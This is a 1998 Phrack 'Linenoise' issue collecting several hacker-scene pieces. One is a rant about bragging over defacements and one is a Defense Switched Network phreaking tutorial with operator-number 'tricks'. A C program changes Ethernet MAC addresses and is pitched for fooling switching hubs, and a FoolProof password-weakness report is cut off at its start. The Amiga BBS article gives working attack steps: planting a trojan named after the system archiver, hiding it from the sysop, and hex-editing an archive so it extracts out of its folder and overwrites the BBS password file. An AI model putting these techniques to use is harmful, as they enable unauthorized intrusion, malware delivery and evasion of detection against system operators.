home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Phrack / Phrack Issue 53.sit / 53 / P53-03 < prev    next >
Text File  |  1998-07-08  |  51KB  |  1,124 lines

  1. ---[  Phrack Magazine   Volume 8, Issue 53 July 8, 1998, article 03 of 15
  2.  
  3.  
  4. -------------------------[  P H R A C K     5 3     L I N E N O I S E
  5.  
  6.  
  7. --------[  Various
  8.  
  9.  
  10. 0x1>-------------------------------------------------------------------------
  11.  
  12.             On not being a moron in public
  13.                 - nihilis
  14.  
  15.             (In response to why cantor kick-banned someone off of #Phrack
  16.           without warning:
  17.  
  18.               <cantor:#phrack> you were an idiot near me
  19.               <cantor:#phrack> i hate that)
  20.  
  21. I wouldn't think normally that this is an article which needs to be written. 
  22. But as experience has shown, it may very well be.
  23.  
  24. Several months ago I was on the IRC EFnet's channel #phrack and one of the
  25. users spouted a URL for a web page he and his cohorts had hacked.  On it he
  26. had kindly sent salutations to everyone he knew and to Phrack.  We, the
  27. other occupants of the channel all admitted that none of us spoke
  28. authoritatively in the magazine's behalf, but that we were confident that
  29. none of the editorial staff would appreciate being implicated in a felony by
  30. association.  The user didn't seem to understand.
  31.  
  32. The next day, when the user was asked to join some of the authorities at the
  33. local station-house for a short interview, I'm sure he wet his pants.  The
  34. line of questioning was short:  it merely established that he had not been the
  35. culprit in further attacks on the same host.  The police released him uncharged.
  36.  
  37. In discussions with him later on #Phrack, we weren't surprised to find that he
  38. had been apprehended.  As things played out, the user clearly felt no crime had
  39. been committed:  All he did was change a web page.  He adamantly protested
  40. that he didn't do any damage, he didn't put in any backdoors, he didn't know
  41. that root's .rhosts contained four simple bytes:  "+ +\n".
  42.  
  43. Clearly this user didn't look very hard in what were apparently his several
  44. weeks of attempting to hack the site.
  45.  
  46. Interestingly enough, I haven't seen this user on IRC since about a week after
  47. the episode.
  48.  
  49. There are several morals to this story:  Hacking is a felony.  Any
  50. unauthorized access constitutes hacking.  If you do hack something, don't be a
  51. moron about it.
  52.  
  53. It's likely always been this way, but it's only been more recently I've been
  54. paying attention, I suspect: The advent of information availability and a
  55. rise in the number people for whom the net has always been "the norm" is
  56. producing a class of users who cannot think for themselves.  As reliance
  57. upon scripted attacks increases, the number of people who personally possess
  58. technical knowledge decreases.
  59.  
  60. Today I was lurking and watching the activity on #Phrack while tending to
  61. issues at work.  The two largest discussions which come to mind are that SYN
  62. flooding cannot be prevented, even using the newest Linux kernel; and what
  63. 0x0D means and that, yes, it is interchangeable for 13 in a C program.  For
  64. the latter, the opposing point of view was presented by "an experienced C
  65. programmer."
  66.  
  67. This was actually a civil conversation.  People in-the-know were actually a
  68. little more crude than necessary, and the groups in need of reeducation
  69. admitted faults without needing four reference sources and three IETF
  70. standards quoted.  It was a good day.
  71.  
  72. People these days seem generally unwilling to concede that someone else on the
  73. Internet has done their homework, has studied the standards, and has an
  74. advantage.  They consider themselves experienced because they got an
  75. unpatched Windows NT to bring up the Blue Screen Of Death remotely using a
  76. program published four months ago.  They hack web pages and put their names
  77. on it.
  78.  
  79. They seem unwilling to read the code given to them to establish exactly what
  80. happens when the newest 0-day exploit runs.  They do not find the holes.  They
  81. seem generally more interested in fucking someone over (unaware of potential
  82. consequences) than in really solving any sort of technical problem.  It's all
  83. a race, it's all a game, it's all a matter of who has the newest tools.
  84.  
  85. I'm writing this now because I'm sick of that.  I'm sick of people who think
  86. they're smart and are intent on making sure I know it by putting their feet
  87. in their mouths.  I'm sick of people who persistently ignore advice given to
  88. them and get angry when the consequences happen.  I'm sick of people who
  89. cannot contribute intelligently to a conversation.
  90.  
  91. So here are some tips for the future:
  92.  
  93. You're a lot more impressive if you say something right than if you say
  94. something wrong.  Someone nearby may be able to verify your claim and may
  95. call you on it.
  96.  
  97. You're a lot more impressive if you can do something effortlessly because
  98. you've done it before than if you bumble and stumble through an experience
  99. because you thought you could do it and were wrong.
  100.  
  101. If you're caught in a lie, admit it.  The people who caught you already know
  102. more than you do:  If you continue to spout bullshit, they'll know that too. 
  103. But do your homework.  Don't let them catch you being an idiot twice.
  104.  
  105. If you do something illegal, don't broadcast it.  This is especially stupid. 
  106. Chances are, someone will be looking for someone to blame soon.  By
  107. announcing that you're responsible, you're inviting them to contact you.
  108.  
  109. 0x2>-------------------------------------------------------------------------
  110.  
  111.                           Portable BBS Hacking
  112.                     Extra tips for Amiga BBS systems
  113.                     ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  114.  
  115.     After reading Khelbin's article from Phrack 50 (article 03), it reminded
  116. me of the similar tricks I had learnt for Amiga BBS systems.  So I decided to
  117. write a small article covering the Amiga specific things.
  118.  
  119.     As with Khelbin's article, the actual BBS software isn't particularly
  120. important since they mostly all work the same way in the respect of archivers.
  121. This trick can also be used on other users, but I'll cover that later in the
  122. article.
  123.  
  124.     Firstly, the Amiga supports patching.  This means you can set up paths
  125. which point to the directories where your commands are held.  The Amiga OS
  126. also automatically sets a path to the current directory.  As far as I know,
  127. you can't stop it doing this, but you don't need to anyway, if you're smart.
  128. This firstly problem, relating to the patching of the current directory is more
  129. common than you might expect, since it's such a simple thing to overlook.
  130.  
  131.     What happens is this: The BBS receives a new file from you, and unarchives
  132. it to a temporary dir for whatever reason.  It virus checks the files (or
  133. whatever) then it attempt to recompress the files.  But, if your file
  134. contained an executable named the same as the BBS's archiver, it would call
  135. the one you uploaded, since the BBS would've CDed to the temp dir to
  136. rearchive the files.  As you can imagine, you can use this to activate all
  137. sorts of trojans and viruses, as long as the virus checker doesn't
  138. recognize them.  A good idea is to make sure your trojan calls the proper
  139. command as well, so the sysop doesn't notice immediately.  The more
  140. observant sysops will have circumvented this problem by calling the archive
  141. with an absolute path, and/or using another method to rearchive the files,
  142. without having to CD into the temp dir.
  143.  
  144.     The second trick is very similar to Khelbin's method of hex-editing
  145. archives.  The only difference is, on the Amiga, the backslash and slash are
  146. swapped.  For example, you create a file containing a new password file for
  147. the BBS in question.
  148.  
  149.     > makedir temp/BBSData
  150.     > copy MyBBSPasswords.dat temp/BBSData/userdata
  151.     > lha -r a SomeFiles.lha temp
  152.  
  153.     For the makedir, make the "temp" dir name to be however long it needs to be
  154. when you overwrite the characters of it in the hex-editor. In this case, we
  155. need 4.
  156.  
  157.     Now, load the archive into a hex editor like FileMaster and find the
  158. string:
  159.  
  160.     "temp\BBSData\userdata"
  161.  
  162. and change it to whatever you need, for example:
  163.  
  164.     "\\\\BBSData\userdata"
  165.  
  166. which will unarchive 4 levels back from his temporary directory into the real
  167. BBSData dir.  The only problem with this is that you need to know a little
  168. about the BBS's directory structure.  But, if you intend to hack it, you
  169. should probably know that much anyway.
  170.  
  171.     You'll notice that within the archive, the slash and backslash are swapped.
  172. This is important to remember, since using the wrong one will mean your
  173. archive will fail to extract correctly.  The article about this from Phrack
  174. 50 was for PCs, which use backslash for directory operations.  The Amiga
  175. uses slash instead, but apart from that, the methods used in that article
  176. will work fine for Amiga archives.
  177.  
  178.     If you know the Sysop of the BBS has a program like UnixDirs installed, you
  179. can even use the ".." to get to the root dir.  The only other way to do that
  180. is to use a ":", however, I am not sure if this works.  I have a feeling LhA
  181. would barf.  Luckily, since the Amiga isn't limited by 8.3 filename problems,
  182. you can traverse directories much easier than with the limit imposed on PC
  183. systems.
  184.  
  185.     The only real way the Sysop can fix this problem is by have his temp dir
  186. for unarchiving to be a device which has nothing important on it, like RAM:.
  187. That way, if the archive is extracted to RAM: and tries to step back 3
  188. directories using "///", it'll still be in RAM: and won't screw with anything
  189. important.
  190.  
  191. 0x3>-------------------------------------------------------------------------
  192.  
  193. <++> EX/changemac.c
  194. /*
  195.  *  In P51-02 someone mentioned Ethernet spoofing.  Here you go.
  196.  *  This tiny program can be used to trick some smart / switching hubs.
  197.  *             
  198.  *  AWL production: (General Public License v2)
  199.  *
  200.  *      changemac  version 1.0  (2.20.1998)
  201.  *
  202.  *  changemac  --   change MAC address of your ethernet card.
  203.  *
  204.  *  changemac [-l] | [-d number ] [ -r | -a address ]
  205.  *
  206.  *      -d number       number of ethernet device, 0 for eth0, 1 for eth1 ...
  207.  *                      if -d option is not specify default value is 0 (eth0)
  208.  *
  209.  *      -h              help for changemac command
  210.  *
  211.  *      -a address      address format is xx:xx:xx:xx:xx:xx
  212.  *
  213.  *      -r              set random MAC address for ethernet card
  214.  *
  215.  *      -l              list first three MAC bytes of known ethernet vendors
  216.  *                      (this list is not compleet, anyone who know some more
  217.  *                      information about MAC addresses can mail me)
  218.  *
  219.  *  changemac does not change hardware address, it just change data in
  220.  *  structure of kernel driver for your card.  Next boot on your computer will
  221.  *  read real MAC form your hardware.
  222.  *
  223.  *  The changed MAC stays as long as your box is running, (or as long as next
  224.  *  successful changemac).
  225.  *
  226.  *  It will not work if kernel is already using that ethernet device.  In that
  227.  *  case you have to turn off that device (ifconfig eth0 down).
  228.  *
  229.  *  I use changemac in /etc/rc.d/rc.inet1 (slackware, or redhat) just line
  230.  *  before ifconfig for ethernet device (/sbin/ifconfig eth0 ...)
  231.  *
  232.  *  The author will be very pleased if you can learn something form this code.
  233.  *
  234.  *  Updates of this code can be found on:
  235.  *  http://galeb.etf.bg.ac.yu/~azdaja/changemac.html
  236.  *
  237.  *  Sugestions and comments can be sent to author:
  238.  *  Milos Prodanovic <azdaja@galeb.etf.bg.ac.yu>
  239.  */
  240.  
  241. #include <string.h>
  242. #include <stdio.h>
  243. #include <stdlib.h>
  244. #include <errno.h>
  245. #include <sys/socket.h>
  246. #include <sys/ioctl.h>
  247. #include <net/if.h>
  248. #include <unistd.h>
  249.  
  250.  
  251. struct LIST
  252. {
  253.     char name[50];
  254.     u_char mac[3];
  255. };
  256.  
  257. /*
  258.  *  This list was obtainted from vyncke@csl.sni.be, created on 01.7.93.
  259.  */
  260.  
  261. struct LIST vendors[] = {
  262.                 {"OS/9 Network                         ",'\x00','\x00','\x00'},
  263.                 {"BBN                                  ",'\x00','\x00','\x02'},
  264.                 {"Cisco                                ",'\x00','\x00','\x0C'},
  265.                 {"Fujitsu                              ",'\x00','\x00','\x0E'},
  266.                 {"NeXT                                 ",'\x00','\x00','\x0F'},
  267.                 {"Sytek/Hughes LAN Systems             ",'\x00','\x00','\x10'},
  268.                 {"Tektronics                           ",'\x00','\x00','\x11'},
  269.                 {"Datapoint                            ",'\x00','\x00','\x15'},
  270.                 {"Webster                              ",'\x00','\x00','\x18'},
  271.                 {"AMD ?                                ",'\x00','\x00','\x1A'},
  272.                 {"Novell/Eagle Technology              ",'\x00','\x00','\x1B'},
  273.                 {"Cabletron                            ",'\x00','\x00','\x1D'},
  274.                 {"Data Industrier AB                   ",'\x00','\x00','\x20'},
  275.                 {"SC&C                                 ",'\x00','\x00','\x21'},
  276.                 {"Visual Technology                    ",'\x00','\x00','\x22'},
  277.                 {"ABB                                  ",'\x00','\x00','\x23'},
  278.                 {"IMC                                  ",'\x00','\x00','\x29'},
  279.                 {"TRW                                  ",'\x00','\x00','\x2A'},
  280.                 {"Auspex                               ",'\x00','\x00','\x3C'},
  281.                 {"ATT                                  ",'\x00','\x00','\x3D'},
  282.                 {"Castelle                             ",'\x00','\x00','\x44'},
  283.                 {"Bunker Ramo                          ",'\x00','\x00','\x46'},
  284.                 {"Apricot                              ",'\x00','\x00','\x49'},
  285.                 {"APT                                  ",'\x00','\x00','\x4B'},
  286.                 {"Logicraft                            ",'\x00','\x00','\x4F'},
  287.                 {"Hob Electronic                       ",'\x00','\x00','\x51'},
  288.                 {"ODS                                  ",'\x00','\x00','\x52'},
  289.                 {"AT&T                                 ",'\x00','\x00','\x55'},
  290.                 {"SK/Xerox                             ",'\x00','\x00','\x5A'},
  291.                 {"RCE                                  ",'\x00','\x00','\x5D'},
  292.                 {"IANA                                 ",'\x00','\x00','\x5E'},
  293.                 {"Gateway                              ",'\x00','\x00','\x61'},
  294.                 {"Honeywell                            ",'\x00','\x00','\x62'},
  295.                 {"Network General                      ",'\x00','\x00','\x65'},
  296.                 {"Silicon Graphics                     ",'\x00','\x00','\x69'},
  297.                 {"MIPS                                 ",'\x00','\x00','\x6B'},
  298.                 {"Madge                                ",'\x00','\x00','\x6F'},
  299.                 {"Artisoft                             ",'\x00','\x00','\x6E'},
  300.                 {"MIPS/Interphase                      ",'\x00','\x00','\x77'},
  301.                 {"Labtam                               ",'\x00','\x00','\x78'},
  302.                 {"Ardent                               ",'\x00','\x00','\x7A'},
  303.                 {"Research Machines                    ",'\x00','\x00','\x7B'},
  304.                 {"Cray Research/Harris                 ",'\x00','\x00','\x7D'},
  305.                 {"Linotronic                           ",'\x00','\x00','\x7F'},
  306.                 {"Dowty Network Services               ",'\x00','\x00','\x80'},
  307.                 {"Synoptics                            ",'\x00','\x00','\x81'},
  308.                 {"Aquila                               ",'\x00','\x00','\x84'},
  309.                 {"Gateway                              ",'\x00','\x00','\x86'},
  310.                 {"Cayman Systems                       ",'\x00','\x00','\x89'},
  311.                 {"Datahouse Information Systems        ",'\x00','\x00','\x8A'},
  312.                 {"Jupiter ? Solbourne                  ",'\x00','\x00','\x8E'},
  313.                 {"Proteon                              ",'\x00','\x00','\x93'},
  314.                 {"Asante                               ",'\x00','\x00','\x94'},
  315.                 {"Sony/Tektronics                      ",'\x00','\x00','\x95'},
  316.                 {"Epoch                                ",'\x00','\x00','\x97'},
  317.                 {"CrossCom                             ",'\x00','\x00','\x98'},
  318.                 {"Ameristar Technology                 ",'\x00','\x00','\x9F'},
  319.                 {"Sanyo Electronics                    ",'\x00','\x00','\xA0'},
  320.                 {"Wellfleet                            ",'\x00','\x00','\xA2'},
  321.                 {"NAT                                  ",'\x00','\x00','\xA3'},
  322.                 {"Acorn                                ",'\x00','\x00','\xA4'},
  323.                 {"Compatible Systems Corporation       ",'\x00','\x00','\xA5'},
  324.                 {"Network General                      ",'\x00','\x00','\xA6'},
  325.                 {"NCD                                  ",'\x00','\x00','\xA7'},
  326.                 {"Stratus                              ",'\x00','\x00','\xA8'},
  327.                 {"Network Systems                      ",'\x00','\x00','\xA9'},
  328.                 {"Xerox                                ",'\x00','\x00','\xAA'},
  329.                 {"Western Digital/SMC                  ",'\x00','\x00','\xC0'},
  330.                 {"Eon Systems (HP)                     ",'\x00','\x00','\xC6'},
  331.                 {"Altos                                ",'\x00','\x00','\xC8'},
  332.                 {"Emulex                               ",'\x00','\x00','\xC9'},
  333.                 {"Darthmouth College                   ",'\x00','\x00','\xD7'},
  334.                 {"3Com ? Novell ? [PS/2]               ",'\x00','\x00','\xD8'},
  335.                 {"Gould                                ",'\x00','\x00','\xDD'},
  336.                 {"Unigraph                             ",'\x00','\x00','\xDE'},
  337.                 {"Acer Counterpoint                    ",'\x00','\x00','\xE2'},
  338.                 {"Atlantec                             ",'\x00','\x00','\xEF'},
  339.                 {"High Level Hardware (Orion, UK)      ",'\x00','\x00','\xFD'},
  340.                 {"BBN                                  ",'\x00','\x01','\x02'},
  341.                 {"Kabel                                ",'\x00','\x17','\x00'},
  342.                 {"Xylogics, Inc.-Annex terminal servers",'\x00','\x08','\x2D'},
  343.                 {"Frontier Software Development        ",'\x00','\x08','\x8C'},
  344.                 {"Intel                                ",'\x00','\xAA','\x00'},
  345.                 {"Ungermann-Bass                       ",'\x00','\xDD','\x00'},
  346.                 {"Ungermann-Bass                       ",'\x00','\xDD','\x01'},
  347.                 {"MICOM/Interlan [Unibus, Qbus, Apollo]",'\x02','\x07','\x01'},
  348.                 {"Satelcom MegaPac                     ",'\x02','\x60','\x86'},
  349.                 {"3Com [IBM PC, Imagen, Valid, Cisco]  ",'\x02','\x60','\x8C'},
  350.                 {"CMC [Masscomp, SGI, Prime EXL]       ",'\x02','\xCF','\x1F'},
  351.                 {"3Com (ex Bridge)                     ",'\x08','\x00','\x02'},
  352.                 {"Symbolics                            ",'\x08','\x00','\x05'},
  353.                 {"Siemens Nixdorf                      ",'\x08','\x00','\x06'},
  354.                 {"Apple                                ",'\x08','\x00','\x07'},
  355.                 {"HP                                   ",'\x08','\x00','\x09'},
  356.                 {"Nestar Systems                       ",'\x08','\x00','\x0A'},
  357.                 {"Unisys                               ",'\x08','\x00','\x0B'},
  358.                 {"AT&T                                 ",'\x08','\x00','\x10'},
  359.                 {"Tektronics                           ",'\x08','\x00','\x11'},
  360.                 {"Excelan                              ",'\x08','\x00','\x14'},
  361.                 {"NSC                                  ",'\x08','\x00','\x17'},
  362.                 {"Data General                         ",'\x08','\x00','\x1A'},
  363.                 {"Data General                         ",'\x08','\x00','\x1B'},
  364.                 {"Apollo                               ",'\x08','\x00','\x1E'},
  365.                 {"Sun                                  ",'\x08','\x00','\x20'},
  366.                 {"Norsk Data                           ",'\x08','\x00','\x26'},
  367.                 {"DEC                                  ",'\x08','\x00','\x2B'},
  368.                 {"Bull                                 ",'\x08','\x00','\x38'},
  369.                 {"Spider                               ",'\x08','\x00','\x39'},
  370.                 {"Sony                                 ",'\x08','\x00','\x46'},
  371.                 {"BICC                                 ",'\x08','\x00','\x4E'},
  372.                 {"IBM                                  ",'\x08','\x00','\x5A'},
  373.                 {"Silicon Graphics                     ",'\x08','\x00','\x69'},
  374.                 {"Excelan                              ",'\x08','\x00','\x6E'},
  375.                 {"Vitalink                             ",'\x08','\x00','\x7C'},
  376.                 {"XIOS                                 ",'\x08','\x00','\x80'},
  377.                 {"Imagen                               ",'\x80','\x00','\x86'}, 
  378.                 {"Xyplex                               ",'\x80','\x00','\x87'},
  379.                 {"Kinetics                             ",'\x80','\x00','\x89'},
  380.                 {"Pyramid                              ",'\x80','\x00','\x8B'},
  381.                 {"Retix                                ",'\x80','\x00','\x90'},
  382.                 {'\x0','\x0','\x0','\x0'}
  383.                      };
  384.  
  385. void change_MAC(u_char *,int);
  386. void list();
  387. void random_mac(u_char *);
  388. void help();
  389. void addr_scan(char *,u_char *);
  390.  
  391. int
  392. main(int argc, char ** argv)
  393. {
  394.     char c;
  395.     u_char mac[6] = "\0\0\0\0\0\0";
  396.     int nr = 0,eth_num = 0,nr2 = 0;
  397.     extern char *optarg;
  398.  
  399.     if (argc == 1)
  400.     {
  401.         printf("for help: changemac -h\n");
  402.         exit(1);
  403.     }
  404.  
  405.     while ((c = getopt(argc, argv, "-la:rd:")) != EOF)
  406.     {
  407.         switch(c)
  408.         {
  409.             case 'l' :
  410.                 list();
  411.                 exit(1);
  412.             case 'r' :
  413.                 nr++;
  414.                 random_mac(mac);
  415.                 break;
  416.             case 'a' :
  417.                 nr++;
  418.                 addr_scan(optarg,mac);
  419.                 break;
  420.             case 'd' :
  421.                 nr2++;
  422.                 eth_num = atoi(optarg);
  423.                 break;
  424.             default:
  425.                 help();
  426.                 exit(1);
  427.         }
  428.         if (nr2 > 1 || nr > 1)
  429.         {
  430.             printf("too many options\n");
  431.             exit(1);
  432.         }
  433.     }
  434.     change_MAC(mac,eth_num);
  435.     return (0);
  436. }
  437.  
  438. void
  439. change_MAC(u_char *p, int ether)
  440. {
  441.     struct  ifreq  devea;
  442.     int s, i;
  443.  
  444.     s = socket(AF_INET, SOCK_DGRAM, 0);
  445.     if (s < 0)
  446.     {
  447.         perror("socket");
  448.         exit(1);
  449.     }
  450.  
  451.     sprintf(devea.ifr_name, "eth%d", ether);
  452.     if (ioctl(s, SIOCGIFHWADDR, &devea) < 0)
  453.     {
  454.         perror(devea.ifr_name);
  455.         exit(1);
  456.     }
  457.  
  458.     printf("Current MAC is\t");
  459.     for (i = 0; i < 6; i++)
  460.     {
  461.         printf("%2.2x ", i[devea.ifr_hwaddr.sa_data] & 0xff);
  462.     }
  463.     printf("\n");
  464.  
  465. /* an ANSI C  ?? --> just testing your compiler */
  466.     for(i = 0; i < 6; i++) i[devea.ifr_hwaddr.sa_data] = i[p];
  467.  
  468.     printf("Changing MAC to\t");
  469.  
  470. /* right here i am showing how interesting is programing in C */
  471.  
  472.     printf("%2.2x:%2.2x:%2.2x:%2.2x:%2.2x:%2.2x\n", 
  473.         0[p],
  474.         1[p],
  475.         2[p],
  476.         3[p],
  477.         4[p],
  478.         5[p]);
  479.  
  480.  
  481.     if (ioctl(s,SIOCSIFHWADDR,&devea) < 0)
  482.     {
  483.         printf("Unable to change MAC -- Is eth%d device is up?\n", ether);
  484.         perror(devea.ifr_name);
  485.         exit(1);
  486.     }
  487.     printf("MAC changed\n");
  488.  
  489.     /* just to be sure ... */
  490.  
  491.     if (ioctl(s, SIOCGIFHWADDR, &devea) < 0)
  492.     {
  493.         perror(devea.ifr_name);
  494.         exit(1);
  495.     }
  496.  
  497.     printf("Current MAC is: ");
  498.  
  499.     for (i = 0; i < 6; i++) printf("%X ", i[devea.ifr_hwaddr.sa_data] & 0xff);
  500.     printf("\n");
  501.  
  502.     close(s);
  503. }
  504.  
  505. void
  506. list()
  507. {
  508.     int i = 0;
  509.     struct LIST *ptr;
  510.  
  511.     printf("\nNumber\t MAC addr \t vendor\n");
  512.     while (0[i[vendors].name])
  513.     {
  514.         ptr = vendors + i;
  515.         printf("%d\t=> %2.2x:%2.2x:%2.2x \t%s \n",
  516.             i++,
  517.             0[ptr->mac],
  518.             1[ptr->mac],
  519.             2[ptr->mac],
  520.             ptr->name);
  521.         if (!(i % 15))
  522.         {
  523.             printf("\n press enter to continue\n");
  524.             getchar();
  525.         }
  526.     }
  527. }
  528.  
  529. void
  530. random_mac(u_char *p)
  531. {
  532.     srandom(getpid());
  533.  
  534.     0[p] = random() % 256;
  535.     1[p] = random() % 256;
  536.     2[p] = random() % 256;
  537.     3[p] = random() % 256;
  538.     4[p] = random() % 256;
  539.     5[p] = random() % 256;
  540. }
  541.  
  542. void
  543. addr_scan(char *arg, u_char *mac)
  544. {
  545.     int i;
  546.  
  547.     if (!(2[arg] == ':' && 
  548.             5[arg] == ':' &&
  549.             8[arg] == ':' &&
  550.             11[arg] == ':' &&
  551.             14[arg] == ':' &&
  552.             strlen(arg) == 17 ))
  553.     {
  554.         printf("address is not in spacified format\n");
  555.         exit(0);
  556.     }
  557.     for(i = 0; i < 6; i++) i[mac] = (char)(strtoul(arg + i*3, 0, 16) & 0xff);
  558. }
  559.  
  560. void
  561. help()
  562. {
  563.     printf(" changemac - soft change MAC address of your ethernet card \n");
  564.     printf(" changemac -l | [-d number ] [ -r | -a address ] \n");
  565.     printf("   before you try to use it just turn ethernet card off, ifconfig ethX down\n");
  566.     printf(" -d number    number of ethernet device \n");
  567.     printf(" -h           this help \n");
  568.     printf(" -a address   address format is xx:xx:xx:xx:xx:xx \n");
  569.     printf(" -r           set random generated address \n");
  570.     printf(" -l           list first three MAC bytes of known ethernet vendors\n");
  571.     printf(" example: changemac -d 1 -a 12:34:56:78:9a:bc\n");
  572. }                                                           
  573.  
  574. /* EOF */
  575. <-->
  576.  
  577. 0x4>-------------------------------------------------------------------------
  578.  
  579.     The Defense Switched Network
  580.     By: DataStorm <havok@tfs.net>
  581.  
  582.     This is an extremely shortened tutorial on the DSN.  More information
  583. is available through the DoD themselves and various places on the Internet.  If
  584. you have any comments or suggestions, feel free to e-mail me.
  585.  
  586.  
  587. ***THE BASICS OF THE DSN***
  588.  
  589.  
  590.     Despite popular belief, the AUTOVON is gone, and a new DCS
  591. communication standard is in place, the DSN, or Defense Switched Network.
  592.  
  593.     The DSN is used for the communication of data and voice between various
  594. DoD installations in six world theaters: Canada, the Caribbean, the
  595. Continental United States (CONUS), Europe, the Pacific and Alaska, and
  596. Southwest Asia.  The DSN is used for everything from video-teleconferencing,
  597. secure and insecure data and voice, and any other form of communication that
  598. can be transmitted over wiring.  It is made up of the old AUTOVON system, the
  599. European telephone system, the Japanese and Korean telephone upgrades, the
  600. Oahu system, the DCTN, the DRSN, the Video Teleconferencing Network, and more.
  601.  
  602.     This makes the DSN incredibly large, which in turn makes it very useful.
  603. (See the section TRICKS in this article for more information.)
  604.  
  605.     The DSN is extremely isolated.  It is designed to function even when
  606. outside communication lines have been destroyed and is not dependent on any
  607. outside equipment.  It uses its own switching equipment, lines, phones, and
  608. other components.  It has very little link to the outside world, since in a
  609. bombing/war, civilian telephone may be destroyed.  This aspect, of course,
  610. also means that all regulation of the DSN is done by the government itself.
  611. When you enter the DSN network, you are messing with the big boys.
  612.     
  613.     To place a call to someone in the DSN, you must first dial the DSN access
  614. number, which lets you into the network itself.  From there you can dial any
  615. number within the DSN, as long as it is not restricted from your calling area
  616. or hone. (Numbers both inside and outside the DSN can be restricted from calling
  617. certain numbers). 
  618.  
  619.     If you are part of the DSN, you may periodically get a call from an
  620. operator, wanting to connect you with another person in or out of the network.
  621. To accept, you must tell her your name and local base telephone extension,
  622. your precedence, and any other information the operator feels she must have
  623. from you at that time. (I'm not sure of the operators abilities or
  624. technologies. They may have ANI in all or some areas.)
  625.  
  626.     The DSN uses signaling techniques similar to Bell, with a few differences.
  627. The dial tone is the same on both networks; the network is open and ready.
  628. When you call or are being called, a DSN phone will ring just like a Bell
  629. phone, with one difference.  If the phone rings at a fairly normal rate, the
  630. call is of average precedence, or "Routine." If the ringing is fast, it is of
  631. higher precedence and importance.  A busy signal indicates that the line is
  632. either busy, or DSN equipment is busy.  Occasionally you may hear a tone
  633. called the "preempt" tone, which indicates that your call was booted off
  634. because one of higher precedence needed the line you were connected with.  If
  635. you pick up the phone and hear an odd fluctuating tone, this means that a
  636. conference call is being conducted and you are to be included.
  637.  
  638.     As on many other large networks, the DSN uses different user classes to
  639. distinguish who is better than who, who gets precedence and more calls and who
  640. does not.  The most powerful user class is the "Special C2" user.  This
  641. fortunate military employee (or hacker?) has virtually unrestricted access to
  642. the system.  The Special C2 user identifies himself as that through a
  643. validation process.
  644.  
  645.     The next class of user is the regular "C2" user.  To qualify, you must
  646. have the requirements for C2 communications, but do not have to meet the
  647. requirements for the Special C2 user advantages.  (These are users who
  648. coordinate military operations, forces, and important orders.)  The last type
  649. of user is insensitively called the "Other User."  This user has no need for
  650. Specail C2 or C2 communications, so he is not given them.  A good comparison
  651. would be "root" for Special C2, "bin" for C2, and "guest" for other.
  652.  
  653.     The network is fairly secure and technologically advanced.  Secure voice
  654. is encrypted with the STU-III.  This is the third generation in a line of
  655. devices used to make encrypted voice, which is NOT considered data over the
  656. DSN.  Networking through the DSN is done with regular IP version 4, unless
  657. classified, in which case Secret IP Routing Network(SIPRNET) protocol is
  658. used.  Teleconferencing can be set up by the installation operator, and video
  659. teleconferencing is a common occurrence.
  660.  
  661.     The DSN is better than the old AUTOVON system in speed and quality, which
  662. allows it to take more advantage of these technologies.  I'm sure that as we
  663. progress into faster transmission rates and higher technology, we will begin
  664. to see the DSN use more and more of what we see the good guys using on
  665. television.
  666.  
  667.     Precedence on the DSN fits the standard NCS requirements, so I will not
  668. talk about it in great detail in this article.  All I think I have to clear up
  669. is that DSN phones do NOT use A, B, C, and D buttons as the phones in the
  670. AUTOVON did for precedence.  Precedence is done completely with standard DTMF
  671. for efficiency.
  672.  
  673.     A DSN telephone directory is not distributed to the outside, mainly
  674. because of the cost and lack of interest.  However, I have listed the NPA's
  675. for the different theaters.  Notice that the DSN only covers major ally areas.
  676. You won't be able to connect to Russia with this system, sorry.  Keep in mind
  677. that each base has their own operator, who for the intra-DSN circuit, is
  678. reachable by dialing "0."  Here is a word of advice: there ARE people who sit
  679. around all day and monitor these lines.  Further, you can be assured these are
  680. specialized teams that work special projects at the echelons above reality.
  681. This means that if you do something dumb on the DSN from a location they can
  682. trace back to you, you WILL be imprisoned.
  683.  
  684. AREA        DSN NPA
  685.  
  686. Canada        312
  687. CONUS        312
  688. Caribbean    313
  689. Europe        314
  690. Pacific/Alaska    315/317
  691. S.W. Asia    318
  692.  
  693.     The format for a DSN number is NPA-XXX-YYYY, where XXX is the installation
  694. prefix (each installation has at least one of their own) and YYYY is the
  695. unique number assigned to each internal pair, which eventually leads to a
  696. phone.  I'm not even going to bother with a list of numbers; there are just
  697. too many.  Check http://www.tfs.net/~havok (my home page) for the official DSN
  698. directory and more information.
  699.  
  700.     DSN physical equipment is maintained and operated by a team of military
  701. specialists designed specifically for this task, (you won't see many Bell
  702. trucks around DSN areas).
  703.  
  704.     Through even my deepest research, I was unable to find any technical
  705. specifications on the hardware of the actual switch, although I suppose they
  706. run a commercial brand such as ESS 5.  My resources were obscure in this area,
  707. to say the least.
  708.  
  709.  
  710. ***TRICKS***
  711.  
  712.     Just like any other system in existence, the DSN has security holes and
  713. toys we all can have fun with.  Here are a few. (If you find any more, drop me
  714. an e-mail.)
  715.  
  716.     * Operators are located on different pairs in each base; one can never
  717. tell before dialing exactly who is behind the other line.  My best luck has
  718. been with XXX-0110 and XXX-0000.
  719.  
  720.     * To get their number in the DSN directory, DoD installations write to:
  721.  
  722.         HQ DISA, Code D322
  723.         11440 Isaac Newton Square
  724.         Reston, VA 20190-5006
  725.  
  726.     * Another interesting address: It seems that
  727.  
  728.         GTE Government Systems Corporation
  729.         Information Systems Division
  730.         15000 Conference Center Drive
  731.         Chantilly, VA 22021-3808
  732.  
  733.     has quite a bit of involvement with the DSN and its documentation projects.
  734.  
  735.  
  736. ***IN CONCLUSION***
  737.  
  738.     As the DSN grows, so does my fascination with the system.  Watch for more
  739. articles about it.  I would like to say a BIG thanks to someone who wishes to
  740. remain unknown, a special english teacher, and the DoD for making their
  741. information easy to get a hold of.
  742.  
  743.  
  744. 0x5>-------------------------------------------------------------------------
  745.  
  746. Howdy,
  747.  
  748.     I have found a weakness in the password implementations of
  749. FoolProof.  FoolProof is a software package used to secure workstations
  750. and LAN client machines from DoS and other lame-ass attacks by protecting
  751. system files (autoexec.bat, config.sys, system registry) and blocking
  752. access to specified commands and control panels.  FoolProof was written
  753. by Smart Stuff software originally for the Macintosh but recently
  754. released for win3.x and win95.  All my information pertains directly to
  755. versions 3.0 and 3.3 of both the 3.x and 95 versions but should be good
